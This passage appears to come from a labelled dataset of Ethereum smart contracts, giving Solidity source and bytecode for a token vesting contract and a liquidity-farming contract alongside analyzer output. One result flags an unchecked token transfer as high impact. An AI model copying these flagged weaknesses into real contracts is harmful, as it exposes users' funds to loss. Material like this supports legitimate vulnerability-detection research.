fff16815260200190815260200160002054101515156116cf57600080fd5b6117438160026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117fa81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fdb2d10a559cb6e14fee5a7a2d8c216314e11c22404e85a4f9af45f07c87192bb826040518082815260200191505060405180910390a25050565b60065481565b6000808490506118a58585610bcf565b15611a06578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561199f578082015181840152602081019050611984565b50505050905090810190601f1680156119cc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156119ed57600080fd5b5af115156119fa57600080fd5b50505060019150611a0b565b600091505b509392505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611af657600080fd5b611afe61129e565b151515611b0a57600080fd5b600b60009054906101000a900460ff16151515611b2657600080fd5b600a54611b31611c99565b60075403101515611b4157600080fd5b6001600b60006101000a81548160ff021916908315150217905550624f1a00600660008282540192505081905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bcd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611c455780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000808284019050838110151515611c5c57fe5b8091505092915050565b60008082840290506000841480611c875750828482811515611c8457fe5b04145b1515611c8f57fe5b8091505092915050565b60006002600061beef73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000828211151515611cda57fe5b818303905092915050565b600160009054906101000a900460ff161515611d0057600080fd5b611d5281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058200e91f6d97a0579e59b49ea6cf1b870a1d96ca8aa4994ff646daa7ff41549bc560029
{"success": true, "error": null, "results": {}}
574
0xf20944cb9e893193346df8380abbddc335f80a3b
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract TreasuryVester { using SafeMath for uint; address public UFI; address public recipient; uint public vestingAmount; uint public vestingBegin; uint public vestingCliff; uint public vestingEnd; uint public lastUpdate; constructor( address UFI_, address recipient_, uint vestingAmount_, uint vestingBegin_, uint vestingCliff_, uint vestingEnd_ ) public { require(vestingBegin_ >= block.timestamp, 'TreasuryVester::constructor: vesting begin too early'); require(vestingCliff_ >= vestingBegin_, 'TreasuryVester::constructor: cliff is too early'); require(vestingEnd_ > vestingCliff_, 'TreasuryVester::constructor: end is too early'); UFI = UFI_; recipient = recipient_; vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingCliff = vestingCliff_; vestingEnd = vestingEnd_; lastUpdate = vestingBegin; } function setRecipient(address recipient_) public { require(msg.sender == recipient, 'TreasuryVester::setRecipient: unauthorized'); recipient = recipient_; } function claim() public { require(block.timestamp >= vestingCliff, 'TreasuryVester::claim: not time yet'); uint amount; if (block.timestamp >= vestingEnd) { amount = IUFI(UFI).balanceOf(address(this)); } else { amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin); lastUpdate = block.timestamp; } IUFI(UFI).transfer(recipient, amount); } } interface IUFI { function balanceOf(address account) external view returns (uint); function transfer(address dst, uint rawAmount) external returns (bool); }
0x608060405234801561001057600080fd5b50600436106100925760003560e01c806366d003ac1161006657806366d003ac1461010557806384a1931f1461010d578063c046371114610115578063e29bc68b1461011d578063f3640e741461012557610092565b8062728f76146100975780632115a645146100b15780633bbed4a0146100d55780634e71d92d146100fd575b600080fd5b61009f61012d565b60408051918252519081900360200190f35b6100b9610133565b604080516001600160a01b039092168252519081900360200190f35b6100fb600480360360208110156100eb57600080fd5b50356001600160a01b0316610142565b005b6100fb6101ad565b6100b9610338565b61009f610347565b61009f61034d565b61009f610353565b61009f610359565b60025481565b6000546001600160a01b031681565b6001546001600160a01b0316331461018b5760405162461bcd60e51b815260040180806020018281038252602a8152602001806104a1602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6004544210156101ee5760405162461bcd60e51b81526004018080602001828103825260238152602001806104ec6023913960400191505060405180910390fd5b6000600554421061027757600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561024457600080fd5b505afa158015610258573d6000803e3d6000fd5b505050506040513d602081101561026e57600080fd5b505190506102ad565b6102a66003546005540361029a600654420360025461035f90919063ffffffff16565b9063ffffffff6103c116565b4260065590505b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561030957600080fd5b505af115801561031d573d6000803e3d6000fd5b505050506040513d602081101561033357600080fd5b505050565b6001546001600160a01b031681565b60055481565b60065481565b60035481565b60045481565b60008261036e575060006103bb565b8282028284828161037b57fe5b04146103b85760405162461bcd60e51b81526004018080602001828103825260218152602001806104cb6021913960400191505060405180910390fd5b90505b92915050565b60006103b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361048a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578181015183820152602001610437565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161049657fe5b049594505050505056fe54726561737572795665737465723a3a736574526563697069656e743a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7754726561737572795665737465723a3a636c61696d3a206e6f742074696d6520796574a265627a7a72315820bcb8139d4ad9dec9fbc041583c01c43a46272bfe1736da77095597429c52dacd64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
575
0x64eb34ec34caeddb24198342167418f429b526d5
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ // SPDX-License-Identifier: BSD-3-Clause pragma solidity >=0.8.0; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public returns(bool) { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract MetaDM_LiquidityFarming is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event Deposited(address farmer, uint amount); event Withdrawn(address farmer, uint amount); event RewardsTransferred(address farmer, uint amount); // META token contract address address public constant tokenAddress = 0xEc068b286D09E1650175caB9B93bFbb733eaC335; // UNI-V2 token contract address address public constant LPTokenAddress = 0x3d7E4674b3A78d7Aa5892fB43D380292F6910b1D; // amount disbursed per week uint public amountToDisburse = 25000000000000000000; // 25 META PER DISBURSE // unfarming possible after ... uint public constant unstakeTime = 30 days; // claiming possible after ... uint public claimTime = 10 days; uint public totalClaimedRewards = 0; uint public totalDeposited = 0; uint public totalDisbursed = 0; uint public maxFarmers = 500; bool public ended = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public pending; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDepositTime; mapping (address => uint) public lastClaimTime; function disburse () public onlyOwner returns (bool){ require(!ended, "Staking already ended"); address _hold; uint _add; for(uint i = 0; i < holders.length(); i = i.add(1)){ _hold = holders.at(i); _add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited); pending[_hold] = pending[_hold].add(_add); } totalDisbursed = totalDisbursed.add(amountToDisburse); return true; } //End the farming pool function end() public onlyOwner returns (bool){ require(!ended, "Staking already ended"); ended = true; return true; } function getPendingDivs(address _holder) public view returns (uint) { uint pendingDivs = pending[_holder]; return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public returns (bool) { require(!ended, "Staking has ended"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(holders.length() < maxFarmers, "Max Farmers reached"); require(Token(LPTokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake); totalDeposited = totalDeposited.add(amountToStake); lastDepositTime[msg.sender] = block.timestamp; lastClaimTime[msg.sender] = block.timestamp; if (!holders.contains(msg.sender)) { holders.add(msg.sender); } emit Deposited(msg.sender, amountToStake); return true; } function claim() public returns(bool){ require(block.timestamp.sub(lastClaimTime[msg.sender]) > claimTime, "Not yet."); require(pending[msg.sender] > 0); uint _reward = pending[msg.sender]; pending[msg.sender] = 0; require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens."); totalClaimedRewards = totalClaimedRewards.add(_reward); totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward); lastClaimTime[msg.sender] = block.timestamp; return true; } function withdraw(uint _amount) public returns (bool){ require(block.timestamp.sub(lastDepositTime[msg.sender]) > unstakeTime || ended, "Not yet."); require(depositedTokens[msg.sender] >= _amount); require(_amount > 0); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount); totalDeposited = totalDeposited.sub(_amount); require(Token(LPTokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens."); if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){ holders.remove(msg.sender); } emit Withdrawn(msg.sender, _amount); return true; } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakedTokens); } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner returns (bool){ require (_tokenAddr != LPTokenAddress , "Cannot Transfer Out this token"); Token(_tokenAddr).transfer(_to, _amount); return true; } function setDisburseAmount(uint _new) public onlyOwner returns (bool){ amountToDisburse = _new; return true; } function setClaimTime(uint _new) public onlyOwner returns (bool){ claimTime = _new; return true; } function setMaxFarmers(uint _new) public onlyOwner returns (bool){ maxFarmers = _new; return true; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80639232eed311610104578063bf95c78d116100a2578063d7e5274511610071578063d7e52745146105ad578063efbe1c1c146105cb578063f2fde38b146105e9578063ff50abdc14610619576101cf565b8063bf95c78d14610523578063c326bf4f14610541578063c3828bf014610571578063d578ceab1461058f576101cf565b8063aa3874e0116100de578063aa3874e014610475578063abc6fd0b146104a5578063b6b55f25146104c3578063b77cf9c6146104f3576101cf565b80639232eed31461040957806398896d10146104275780639d76ea5814610457576101cf565b8063421cc337116101715780636270cd181161014b5780636270cd181461035b5780636a395ccb1461038b57806386ea605b146103bb5780638da5cb5b146103eb576101cf565b8063421cc337146102dd5780634e71d92d1461030d5780635eebea201461032b576101cf565b80631911cf4a116101ad5780631911cf4a1461024057806327b3bf11146102715780632e1a7d4d1461028f578063308feec3146102bf576101cf565b806302527753146101d457806308d8f97e1461020457806312fa6feb14610222575b600080fd5b6101ee60048036038101906101e99190611e82565b610637565b6040516101fb91906123fb565b60405180910390f35b61020c61064f565b60405161021991906123fb565b60405180910390f35b61022a610655565b60405161023791906122c0565b60405180910390f35b61025a60048036038101906102559190611f5c565b610668565b604051610268929190612289565b60405180910390f35b610279610840565b60405161028691906123fb565b60405180910390f35b6102a960048036038101906102a49190611f2f565b610846565b6040516102b691906122c0565b60405180910390f35b6102c7610bc9565b6040516102d491906123fb565b60405180910390f35b6102f760048036038101906102f29190611f2f565b610bda565b60405161030491906122c0565b60405180910390f35b610315610c45565b60405161032291906122c0565b60405180910390f35b61034560048036038101906103409190611e82565b610f8d565b60405161035291906123fb565b60405180910390f35b61037560048036038101906103709190611e82565b610fa5565b60405161038291906123fb565b60405180910390f35b6103a560048036038101906103a09190611eaf565b610fbd565b6040516103b291906122c0565b60405180910390f35b6103d560048036038101906103d09190611f2f565b611134565b6040516103e291906122c0565b60405180910390f35b6103f361119f565b604051610400919061220e565b60405180910390f35b6104116111c3565b60405161041e91906123fb565b60405180910390f35b610441600480360381019061043c9190611e82565b6111c9565b60405161044e91906123fb565b60405180910390f35b61045f611217565b60405161046c919061220e565b60405180910390f35b61048f600480360381019061048a9190611f2f565b61122f565b60405161049c91906122c0565b60405180910390f35b6104ad61129a565b6040516104ba91906122c0565b60405180910390f35b6104dd60048036038101906104d89190611f2f565b6114b3565b6040516104ea91906122c0565b60405180910390f35b61050d60048036038101906105089190611e82565b61181f565b60405161051a91906123fb565b60405180910390f35b61052b611837565b60405161053891906123fb565b60405180910390f35b61055b60048036038101906105569190611e82565b61183d565b60405161056891906123fb565b60405180910390f35b610579611855565b604051610586919061220e565b60405180910390f35b61059761186d565b6040516105a491906123fb565b60405180910390f35b6105b5611873565b6040516105c291906123fb565b60405180910390f35b6105d361187a565b6040516105e091906122c0565b60405180910390f35b61060360048036038101906105fe9190611e82565b611947565b60405161061091906122c0565b60405180910390f35b610621611a9f565b60405161062e91906123fb565b60405180910390f35b600d6020528060005260406000206000915090505481565b60065481565b600760009054906101000a900460ff1681565b60608082841061067757600080fd5b600061068c8585611aa590919063ffffffff16565b905060008167ffffffffffffffff8111156106aa576106a96126e1565b5b6040519080825280602002602001820160405280156106d85781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156106f7576106f66126e1565b5b6040519080825280602002602001820160405280156107255781602001602082028036833780820191505090505b50905060008790505b8681101561082f57600061074c826008611acc90919063ffffffff16565b905060006107638a84611aa590919063ffffffff16565b905081858281518110610779576107786126b2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610806576108056126b2565b5b6020026020010181815250505050610828600182611ae690919063ffffffff16565b905061072e565b508181945094505050509250929050565b60025481565b600062278d0061089e600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611aa590919063ffffffff16565b11806108b65750600760009054906101000a900460ff165b6108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec906123db565b60405180910390fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561094157600080fd5b6000821161094e57600080fd5b6109a082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa590919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f882600454611aa590919063ffffffff16565b600481905550733d7e4674b3a78d7aa5892fb43d380292f6910b1d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401610a4d929190612260565b602060405180830381600087803b158015610a6757600080fd5b505af1158015610a7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9f9190611f02565b610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad59061233b565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6c57506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8757610b85336008611b1290919063ffffffff16565b505b7f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d53383604051610bb8929190612260565b60405180910390a160019050919050565b6000610bd56008611b42565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3557600080fd5b8160028190555060019050919050565b6000600254610c9c600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611aa590919063ffffffff16565b11610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd3906123db565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610d2857600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073ec068b286d09e1650175cab9b93bfbb733eac33573ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e00929190612260565b602060405180830381600087803b158015610e1a57600080fd5b505af1158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e529190611f02565b610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e889061233b565b60405180910390fd5b610ea681600354611ae690919063ffffffff16565b600381905550610efe81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505090565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101857600080fd5b733d7e4674b3a78d7aa5892fb43d380292f6910b1d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561109b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110929061231b565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e